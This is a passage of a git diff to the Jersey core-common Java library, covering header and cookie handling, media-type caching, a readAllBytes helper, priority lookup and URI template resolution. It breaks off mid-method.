-1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -79,7 +79,7 @@ public void writeTo( MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { try { - writeTo(t, entityStream); + ReaderWriter.writeTo(t, entityStream); } finally { t.close(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java index e6ce303761a..fa1117a7e42 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,11 +17,13 @@ package org.glassfish.jersey.message.internal; import java.security.AccessController; +import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.Locale; import java.util.Map; import java.util.Set; +import java.util.concurrent.atomic.AtomicBoolean; import java.util.logging.Logger; import jakarta.ws.rs.RuntimeType; @@ -48,6 +50,14 @@ public final class MessagingBinders { private static final Logger LOGGER = Logger.getLogger(MessagingBinders.class.getName()); + private static final Map warningMap; + + static { + warningMap = new HashMap<>(); + for (EnabledProvidersBinder.Provider provider : EnabledProvidersBinder.Provider.values()) { + warningMap.put(provider, new AtomicBoolean(false)); + } + } /** * Prevents instantiation. @@ -223,21 +233,23 @@ private void bindToBinder(AbstractBinder binder) { } providerBinder.bind(binder, provider); } else { - switch (provider) { - case DOMSOURCE: - case SAXSOURCE: - case STREAMSOURCE: - LOGGER.warning(LocalizationMessages.DEPENDENT_CLASS_OF_DEFAULT_PROVIDER_NOT_FOUND(provider.className, - "MessageBodyReader<" + provider.className + ">") - ); - break; - case DATASOURCE: - case RENDEREDIMAGE: - case SOURCE: - LOGGER.warning(LocalizationMessages.DEPENDENT_CLASS_OF_DEFAULT_PROVIDER_NOT_FOUND(provider.className, - "MessageBodyWriter<" + provider.className + ">") - ); - break; + if (warningMap.get(provider).compareAndSet(false, true)) { + switch (provider) { + case DOMSOURCE: + case SAXSOURCE: + case STREAMSOURCE: + LOGGER.warning(LocalizationMessages.DEPENDENT_CLASS_OF_DEFAULT_PROVIDER_NOT_FOUND( + provider.className, "MessageBodyReader<" + provider.className + ">") + ); + break; + case DATASOURCE: + case RENDEREDIMAGE: + case SOURCE: + LOGGER.warning(LocalizationMessages.DEPENDENT_CLASS_OF_DEFAULT_PROVIDER_NOT_FOUND( + provider.className, "MessageBodyWriter<" + provider.className + ">") + ); + break; + } } } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java index 15ab8d06d04..8615aeb6861 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,8 @@ import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.spi.HeaderDelegateProvider; +import java.util.Locale; + import static org.glassfish.jersey.message.internal.Utils.throwIllegalArgumentExceptionIfNull; /** @@ -75,7 +77,7 @@ public String toString(final NewCookie cookie) { } if (cookie.getSameSite() != null) { b.append(";SameSite="); - b.append(cookie.getSameSite()); + b.append(getSameSite(cookie)); } if (cookie.getExpiry() != null) { b.append(";Expires="); @@ -90,4 +92,9 @@ public NewCookie fromString(final String header) { throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.NEW_COOKIE_IS_NULL()); return HttpHeaderReader.readNewCookie(header); } + + private static String getSameSite(NewCookie cookie) { + final String siteName = cookie.getSameSite().name(); + return siteName.charAt(0) + siteName.substring(1).toLowerCase(Locale.ROOT); + } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java index 3a7748c7dc3..d33acc33cc1 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -47,11 +47,16 @@ import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.ext.RuntimeDelegate; import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.internal.RuntimeDelegateDecorator; import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.internal.util.collection.GuardianStringKeyMultivaluedMap; +import org.glassfish.jersey.internal.util.collection.LazyValue; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; /** * Base outbound message context implementation. @@ -63,9 +68,11 @@ public class OutboundMessageContext { private static final List WILDCARD_ACCEPTABLE_TYPE_SINGLETON_LIST = Collections.singletonList(MediaTypes.WILDCARD_ACCEPTABLE_TYPE); - private final MultivaluedMap headers; + private final GuardianStringKeyMultivaluedMap headers; private final CommittingOutputStream committingOutputStream; private Configuration configuration; + private RuntimeDelegate runtimeDelegateDecorator; + private LazyValue mediaTypeCache; private Object entity; private GenericType entityType; @@ -101,9 +108,13 @@ public static interface StreamProvider { */ public OutboundMessageContext(Configuration configuration) { this.configuration = configuration; - this.headers = HeaderUtils.createOutbound(); + this.headers = new GuardianStringKeyMultivaluedMap<>(HeaderUtils.createOutbound()); this.committingOutputStream = new CommittingOutputStream(); this.entityStream = committingOutputStream; + this.runtimeDelegateDecorator = RuntimeDelegateDecorator.configured(configuration); + this.mediaTypeCache = mediaTypeCache(); + + headers.setGuard(HttpHeaders.CONTENT_TYPE); } /** @@ -113,7 +124,8 @@ public OutboundMessageContext(Configuration configuration) { * @param original the original outbound message context. */ public OutboundMessageContext(OutboundMessageContext original) { - this.headers = HeaderUtils.createOutbound(); + this.headers = new GuardianStringKeyMultivaluedMap<>(HeaderUtils.createOutbound()); + this.headers.setGuard(HttpHeaders.CONTENT_TYPE); this.headers.putAll(original.headers); this.committingOutputStream = new CommittingOutputStream(); this.entityStream = committingOutputStream; @@ -122,6 +134,8 @@ public OutboundMessageContext(OutboundMessageContext original) { this.entityType = original.entityType; this.entityAnnotations = original.entityAnnotations; this.configuration = original.configuration; + this.runtimeDelegateDecorator = original.runtimeDelegateDecorator; + this.mediaTypeCache = mediaTypeCache(); } /** @@ -153,7 +167,7 @@ public void replaceHeaders(MultivaluedMap headers) { * @return multi-valued map of outbound message header names to their string-converted values. */ public MultivaluedMap getStringHeaders() { - return HeaderUtils.asStringHeaders(headers, configuration); + return HeaderUtils.asStringHeaders(headers, runtimeDelegateDecorator); } /** @@ -173,7 +187,7 @@ public MultivaluedMap getStringHeaders() { * character. */ public String getHeaderString(String name) { - return HeaderUtils.asHeaderString(headers.get(name), RuntimeDelegateDecorator.configured(configuration)); + return HeaderUtils.asHeaderString(headers.get(name), runtimeDelegateDecorator); } /** @@ -209,7 +223,7 @@ private T singleHeader(String name, Class valueType, Function return valueType.cast(value); } else { try { - return converter.apply(HeaderUtils.asString(value, null)); + return converter.apply(HeaderUtils.asString(value, runtimeDelegateDecorator)); } catch (ProcessingException ex) { throw exception(name, value, ex); } @@ -267,8 +281,17 @@ public Locale getLanguage() { * message entity). */ public MediaType getMediaType() { - return singleHeader(HttpHeaders.CONTENT_TYPE, MediaType.class, RuntimeDelegateDecorator.configured(configuration) - .createHeaderDelegate(MediaType.class)::fromString, false); + if (headers.isObservedAndReset(HttpHeaders.CONTENT_TYPE) && mediaTypeCache.isInitialized()) { + mediaTypeCache = mediaTypeCache(); // headers changed -> drop cache + } + return mediaTypeCache.get(); + } + + private LazyValue mediaTypeCache() { + return Values.lazy((Value) () -> + singleHeader(HttpHeaders.CONTENT_TYPE, MediaType.class, RuntimeDelegateDecorator.configured(configuration) + .createHeaderDelegate(MediaType.class)::fromString, false) + ); } /** @@ -294,7 +317,7 @@ public List getAcceptableMediaTypes() { result.add(_value); } else { conversionApplied = true; - result.addAll(HttpHeaderReader.readAcceptMediaType(HeaderUtils.asString(value, configuration))); + result.addAll(HttpHeaderReader.readAcceptMediaType(HeaderUtils.asString(value, runtimeDelegateDecorator))); } } catch (java.text.ParseException e) { throw exception(HttpHeaders.ACCEPT, value, e); @@ -333,7 +356,7 @@ public List getAcceptableLanguages() { } else { conversionApplied = true; try { - result.addAll(HttpHeaderReader.readAcceptLanguage(HeaderUtils.asString(value, configuration)) + result.addAll(HttpHeaderReader.readAcceptLanguage(HeaderUtils.asString(value, runtimeDelegateDecorator)) .stream() .map(LanguageTag::getAsLocale) .collect(Collectors.toList())); @@ -366,7 +389,7 @@ public Map getRequestCookies() { } Map result = new HashMap(); - for (String cookie : HeaderUtils.asStringList(cookies, configuration)) { + for (String cookie : HeaderUtils.asStringList(cookies, runtimeDelegateDecorator)) { if (cookie != null) { result.putAll(HttpHeaderReader.readCookies(cookie)); } @@ -454,7 +477,7 @@ public Map getResponseCookies() { } Map result = new HashMap(); - for (String cookie : HeaderUtils.asStringList(cookies, configuration)) { + for (String cookie : HeaderUtils.asStringList(cookies, runtimeDelegateDecorator)) { if (cookie != null) { NewCookie newCookie = HttpHeaderReader.readNewCookie(cookie); String cookieName = newCookie.getName(); @@ -542,7 +565,7 @@ public Set getLinks() { } else { conversionApplied = true; try { - result.add(Link.valueOf(HeaderUtils.asString(value, configuration))); + result.add(Link.valueOf(HeaderUtils.asString(value, runtimeDelegateDecorator))); } catch (IllegalArgumentException e) { throw exception(HttpHeaders.LINK, value, e); } @@ -863,6 +886,7 @@ public void close() { void setConfiguration(Configuration configuration) { this.configuration = configuration; + this.runtimeDelegateDecorator = RuntimeDelegateDecorator.configured(configuration); } /** diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java index 3833685d991..3f878437723 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -66,7 +66,7 @@ public Reader readFrom( new ByteArrayInputStream(new byte[0]), MessageUtils.getCharset(mediaType))); } - return new BufferedReader(new InputStreamReader(entityStream, getCharset(mediaType))); + return new BufferedReader(new InputStreamReader(entityStream, ReaderWriter.getCharset(mediaType))); } @Override @@ -86,8 +86,8 @@ public void writeTo( final OutputStream entityStream) throws IOException { try { final OutputStreamWriter out = new OutputStreamWriter(entityStream, - getCharset(mediaType)); - writeTo(t, out); + ReaderWriter.getCharset(mediaType)); + ReaderWriter.writeTo(t, out); out.flush(); } finally { t.close(); diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java index d4b4a05c61e..018c9f05775 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,13 +19,16 @@ import java.io.Closeable; import java.io.IOException; import java.io.InputStream; -import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.Reader; import java.io.Writer; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.security.AccessController; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; @@ -51,8 +54,11 @@ public final class ReaderWriter { private static final Logger LOGGER = Logger.getLogger(ReaderWriter.class.getName()); /** * The UTF-8 Charset. + * + * @deprecated use {@code StandardCharsets.UTF_8} instead */ - public static final Charset UTF8 = Charset.forName("UTF-8"); + @Deprecated + public static final Charset UTF8 = StandardCharsets.UTF_8; /** * The buffer size for arrays of byte and character. */ @@ -113,14 +119,14 @@ public static void writeTo(Reader in, Writer out) throws IOException { * Get the character set from a media type. *

    * The character set is obtained from the media type parameter "charset". - * If the parameter is not present the {@link #UTF8} charset is utilized. + * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized. * * @param m the media type. * @return the character set. */ public static Charset getCharset(MediaType m) { String name = (m == null) ? null : m.getParameters().get(MediaType.CHARSET_PARAMETER); - return (name == null) ? UTF8 : Charset.forName(name); + return (name == null) ? StandardCharsets.UTF_8 : Charset.forName(name); } /** @@ -134,7 +140,7 @@ public static Charset getCharset(MediaType m) { * @throws IOException if there is an error reading from the input stream. */ public static String readFromAsString(InputStream in, MediaType type) throws IOException { - return readFromAsString(new InputStreamReader(in, getCharset(type))); + return new String(readAllBytes(in), getCharset(type)); } /** @@ -154,6 +160,80 @@ public static String readFromAsString(Reader reader) throws IOException { } return sb.toString(); } + /** + * The maximum size of array to allocate. + * Some VMs reserve some header words in an array. + * Attempts to allocate larger arrays may result in + * OutOfMemoryError: Requested array size exceeds VM limit + */ + private static final int MAX_BUFFER_SIZE = Integer.MAX_VALUE - 8; + + /** + * Java 9+ InputStream::readAllBytes + * TODO Replace in Jersey 4.0, as the sole difference to OpenJDK is working around a bug in the input stream. + */ + private static byte[] readAllBytes(InputStream inputStream) throws IOException { + List bufs = null; + byte[] result = null; + int total = 0; + int remaining = Integer.MAX_VALUE; + int n; + do { + byte[] buf = new byte[Math.min(remaining, BUFFER_SIZE)]; + int nread = 0; + + // read to EOF which may read more or less than buffer size + while ((n = inputStream.read(buf, nread, + Math.min(buf.length - nread, remaining))) > 0) { + nread += n; + remaining -= n; + + if (nread == BUFFER_SIZE) { // This differs from JDK version + break; // prevents a bug (See ReaderWriterTest) + } + } + + if (nread > 0) { + if (MAX_BUFFER_SIZE - total < nread) { + throw new OutOfMemoryError("Required array size too large"); + } + if (nread < buf.length) { + buf = Arrays.copyOfRange(buf, 0, nread); + } + total += nread; + if (result == null) { + result = buf; + } else { + if (bufs == null) { + bufs = new ArrayList<>(); + bufs.add(result); + } + bufs.add(buf); + } + } + // if the last call to read returned -1 or the number of bytes + // requested have been read then break + } while (n >= 0 && remaining > 0); + + if (bufs == null) { + if (result == null) { + return new byte[0]; + } + return result.length == total ? result : Arrays.copyOf(result, total); + } + + result = new byte[total]; + int offset = 0; + remaining = total; + for (byte[] b : bufs) { + int count = Math.min(b.length, remaining); + System.arraycopy(b, 0, result, offset, count); + offset += count; + remaining -= count; + } + + return result; + } /** * Convert a string to bytes and write those bytes to an output stream. @@ -166,7 +246,7 @@ public static String readFromAsString(Reader reader) throws IOException { */ public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException { Writer osw = new OutputStreamWriter(out, getCharset(type)); - osw.write(s, 0, s.length()); + osw.write(s); osw.flush(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/SourceProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/SourceProvider.java index d30f655df11..dd7bbf7d6cd 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/SourceProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/SourceProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,6 +22,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Type; +import jakarta.inject.Inject; import jakarta.ws.rs.BadRequestException; import jakarta.ws.rs.Consumes; import jakarta.ws.rs.InternalServerErrorException; @@ -95,6 +96,7 @@ public static final class SaxSourceReader implements MessageBodyReader spf; + @Inject public SaxSourceReader(@Context Provider spf) { this.spf = spf; } @@ -135,6 +137,7 @@ public static final class DomSourceReader implements MessageBodyReader dbf; + @Inject public DomSourceReader(@Context Provider dbf) { this.dbf = dbf; } @@ -176,8 +179,9 @@ public static final class SourceWriter implements MessageBodyWriter { private final Provider saxParserFactory; private final Provider transformerFactory; + @Inject public SourceWriter(@Context Provider spf, - @Context Provider tf) { + @Context Provider tf) { this.saxParserFactory = spf; this.transformerFactory = tf; } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java index f638860532f..8edb39c8a49 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -51,7 +51,7 @@ public String readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { - return readFromAsString(entityStream, mediaType); + return ReaderWriter.readFromAsString(entityStream, mediaType); } @Override @@ -73,6 +73,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { - writeToAsString(t, entityStream, mediaType); + ReaderWriter.writeToAsString(t, entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java index 21834b5db30..b1ed54f708d 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,8 +23,7 @@ import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; -import jakarta.annotation.Priority; - +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.internal.PropertiesDelegate; /** @@ -118,8 +117,8 @@ public static TracingLogger getInstance(final PropertiesDelegate propertiesDeleg //not server side return EMPTY; } - final TracingLogger tracingLogger = (TracingLogger) propertiesDelegate.getProperty(PROPERTY_NAME); - return (tracingLogger != null) ? tracingLogger : EMPTY; + final Object tracingLogger = propertiesDelegate.getProperty(PROPERTY_NAME); + return TracingLogger.class.isInstance(tracingLogger) ? (TracingLogger) tracingLogger : EMPTY; } /** @@ -315,8 +314,9 @@ private static String formatInstance(final Object instance) { } else { textSB.append('['); formatInstance(instance, textSB); - if (instance.getClass().isAnnotationPresent(Priority.class)) { - textSB.append(" #").append(instance.getClass().getAnnotation(Priority.class).value()); + final int priority = JerseyPriorities.getPriorityValue(instance.getClass(), -1); + if (priority != -1) { + textSB.append(" #").append(priority); } if (instance instanceof WebApplicationException) { formatResponse(((WebApplicationException) instance).getResponse(), textSB); diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java index 328b899b373..1afa8c17d39 100644 --- a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java +++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -45,6 +45,7 @@ import jakarta.annotation.Priority; import org.glassfish.jersey.ExtendedConfig; +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.internal.inject.Binder; @@ -131,12 +132,7 @@ private static int priority(Class featureClass, int priority) if (priority != ContractProvider.NO_PRIORITY) { return priority; } - final Priority priorityAnnotation = featureClass.getAnnotation(Priority.class); - if (priorityAnnotation != null) { - return priorityAnnotation.value(); - } else { - return Priorities.USER; - } + return JerseyPriorities.getPriorityValue(featureClass, Priorities.USER); } /** @@ -592,10 +588,8 @@ public void configureAutoDiscoverableProviders(final InjectionManager injectionM // Check whether meta providers have been initialized for a config this config has been loaded from. if (!disableMetaProviderConfiguration) { final Set providers = new TreeSet<>((o1, o2) -> { - final int p1 = o1.getClass().isAnnotationPresent(Priority.class) - ? o1.getClass().getAnnotation(Priority.class).value() : Priorities.USER; - final int p2 = o2.getClass().isAnnotationPresent(Priority.class) - ? o2.getClass().getAnnotation(Priority.class).value() : Priorities.USER; + final int p1 = JerseyPriorities.getPriorityValue(o1.getClass(), Priorities.USER); + final int p2 = JerseyPriorities.getPriorityValue(o2.getClass(), Priorities.USER); return (p1 < p2 || p1 == p2) ? -1 : 1; }); diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/RankedProvider.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/RankedProvider.java index 56b3470de13..cc255f2eae5 100644 --- a/core-common/src/main/java/org/glassfish/jersey/model/internal/RankedProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/RankedProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,7 @@ import jakarta.annotation.Priority; +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.model.ContractProvider; /** @@ -84,11 +85,7 @@ private int computeRank(final T provider, final int rank) { clazz = clazz.getSuperclass(); } - if (clazz.isAnnotationPresent(Priority.class)) { - return clazz.getAnnotation(Priority.class).value(); - } else { - return Priorities.USER; - } + return JerseyPriorities.getPriorityValue(clazz, Priorities.USER); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java index 0f42487da63..523614caae1 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -404,7 +404,7 @@ private static boolean[][] initEncodingTables() { tables[Type.QUERY_PARAM_SPACE_ENCODED.ordinal()] = tables[Type.QUERY_PARAM.ordinal()]; - tables[Type.FRAGMENT.ordinal()] = tables[Type.QUERY.ordinal()]; + tables[Type.FRAGMENT.ordinal()] = tables[Type.PATH.ordinal()]; return tables; } diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java index 1ed213b7c08..49bf77f46b6 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,6 +17,7 @@ package org.glassfish.jersey.uri; import java.net.URI; +import java.net.URLEncoder; import java.util.ArrayDeque; import java.util.Collections; import java.util.Comparator; @@ -24,11 +25,12 @@ import java.util.HashMap; import java.util.List; import java.util.Map; -import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.regex.PatternSyntaxException; +import java.util.stream.Collectors; import org.glassfish.jersey.internal.guava.Preconditions; +import org.glassfish.jersey.uri.internal.UriPart; import org.glassfish.jersey.uri.internal.UriTemplateParser; /** @@ -124,7 +126,7 @@ private static interface TemplateValueStrategy { * @throws java.lang.IllegalArgumentException in case no value has been found and the strategy * does not support {@code null} values. */ - public String valueFor(String templateVariable, String matchedGroup); + public String valueFor(UriPart templateVariable, String matchedGroup); } /** @@ -156,7 +158,12 @@ private static interface TemplateValueStrategy { /** * The template variables in the URI template. */ - private final List templateVariables; + private final List templateVariables; + + /** + * Get all UriParts, not only the variables + */ + private final List uriParts; /** * The number of explicit regular expressions declared for template * variables. @@ -182,6 +189,7 @@ private UriTemplate() { this.pattern = PatternWithGroups.EMPTY; this.endsWithSlash = false; this.templateVariables = Collections.emptyList(); + this.uriParts = Collections.emptyList(); this.numOfExplicitRegexes = this.numOfCharacters = this.numOfRegexGroups = 0; } @@ -240,6 +248,8 @@ protected UriTemplate(UriTemplateParser templateParser) throws PatternSyntaxExce this.endsWithSlash = template.charAt(template.length() - 1) == '/'; this.templateVariables = Collections.unmodifiableList(templateParser.getNames()); + + this.uriParts = templateParser.getUriParts(); } /** @@ -357,7 +367,7 @@ public static URI normalize(final URI uri) { final StringBuilder pathBuilder = new StringBuilder(); for (final String segment : resolvedSegments) { - pathBuilder.append('/').append(segment); + pathBuilder.append('/').append(UriComponent.encode(segment, UriComponent.Type.PATH)); } String resultString = createURIWithStringValues(uri.getScheme(), @@ -426,7 +436,7 @@ public final boolean endsWithSlash() { * @return the list of template variables. */ public final List getTemplateVariables() { - return templateVariables; + return templateVariables.stream().map(UriPart::getPart).collect(Collectors.toList()); } /** @@ -438,8 +448,8 @@ public final List getTemplateVariables() { */ @SuppressWarnings("UnusedDeclaration") public final boolean isTemplateVariablePresent(String name) { - for (String s : templateVariables) { - if (s.equals(name)) { + for (UriPart tv : templateVariables) { + if (tv.getPart().equals(name)) { return true; } } @@ -507,7 +517,7 @@ public final boolean match(CharSequence uri, Map templateVariabl throw new IllegalArgumentException(); } - return pattern.match(uri, templateVariables, templateVariableToValue); + return pattern.match(uri, getTemplateVariables(), templateVariableToValue); } /** @@ -547,10 +557,14 @@ public final boolean match(CharSequence uri, List groupValues) throws */ public final String createURI(final Map values) { final StringBuilder sb = new StringBuilder(); - resolveTemplate(normalizedTemplate, sb, new TemplateValueStrategy() { + resolveTemplate(sb, new TemplateValueStrategy() { @Override - public String valueFor(String templateVariable, String matchedGroup) { - return values.get(templateVariable); + public String valueFor(UriPart templateVariable, String matchedGroup) { + String value = values.get(templateVariable.getPart()); + if (value == null) { + return ""; + } + return templateVariable.resolve(value, null, false); } }); return sb.toString(); @@ -592,16 +606,16 @@ public final String createURI(final String[] values, final int offset, final int private final Map mapValues = new HashMap(); @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { // Check if a template variable has already occurred // If so use the value to ensure that two or more declarations of // a template variable have the same value - String tValue = mapValues.get(templateVariable); + String tValue = mapValues.get(templateVariable.getPart()); if (tValue == null) { if (v < lengthPlusOffset) { tValue = values[v++]; if (tValue != null) { - mapValues.put(templateVariable, tValue); + mapValues.put(templateVariable.getPart(), tValue); } } } @@ -611,84 +625,24 @@ public String valueFor(String templateVariable, String matchedGroup) { }; final StringBuilder sb = new StringBuilder(); - resolveTemplate(normalizedTemplate, sb, ns); + resolveTemplate(sb, ns); return sb.toString(); } /** * Build a URI based on the parameters provided by the variable name strategy. * - * @param normalizedTemplate normalized URI template. A normalized template is a template without any explicit regular - * expressions. * @param builder URI string builder to be used. * @param valueStrategy The template value producer strategy to use. */ - private static void resolveTemplate( - String normalizedTemplate, - StringBuilder builder, - TemplateValueStrategy valueStrategy) { - // Find all template variables - Matcher m = TEMPLATE_NAMES_PATTERN.matcher(normalizedTemplate); - - int i = 0; - while (m.find()) { - builder.append(normalizedTemplate, i, m.start()); - String variableName = m.group(1); - // TODO matrix - char firstChar = variableName.charAt(0); - if (firstChar == '?' || firstChar == ';') { - final char prefix; - final char separator; - final String emptyValueAssignment; - if (firstChar == '?') { - // query - prefix = '?'; - separator = '&'; - emptyValueAssignment = "="; - } else { - // matrix - prefix = ';'; - separator = ';'; - emptyValueAssignment = ""; - } - - int index = builder.length(); - String[] variables = variableName.substring(1).split(", ?"); - for (String variable : variables) { - try { - String value = valueStrategy.valueFor(variable, m.group()); - if (value != null) { - if (index != builder.length()) { - builder.append(separator); - } - - builder.append(variable); - if (value.isEmpty()) { - builder.append(emptyValueAssignment); - } else { - builder.append('='); - builder.append(value); - } - } - } catch (IllegalArgumentException ex) { - // no value found => ignore the variable - } - } - - if 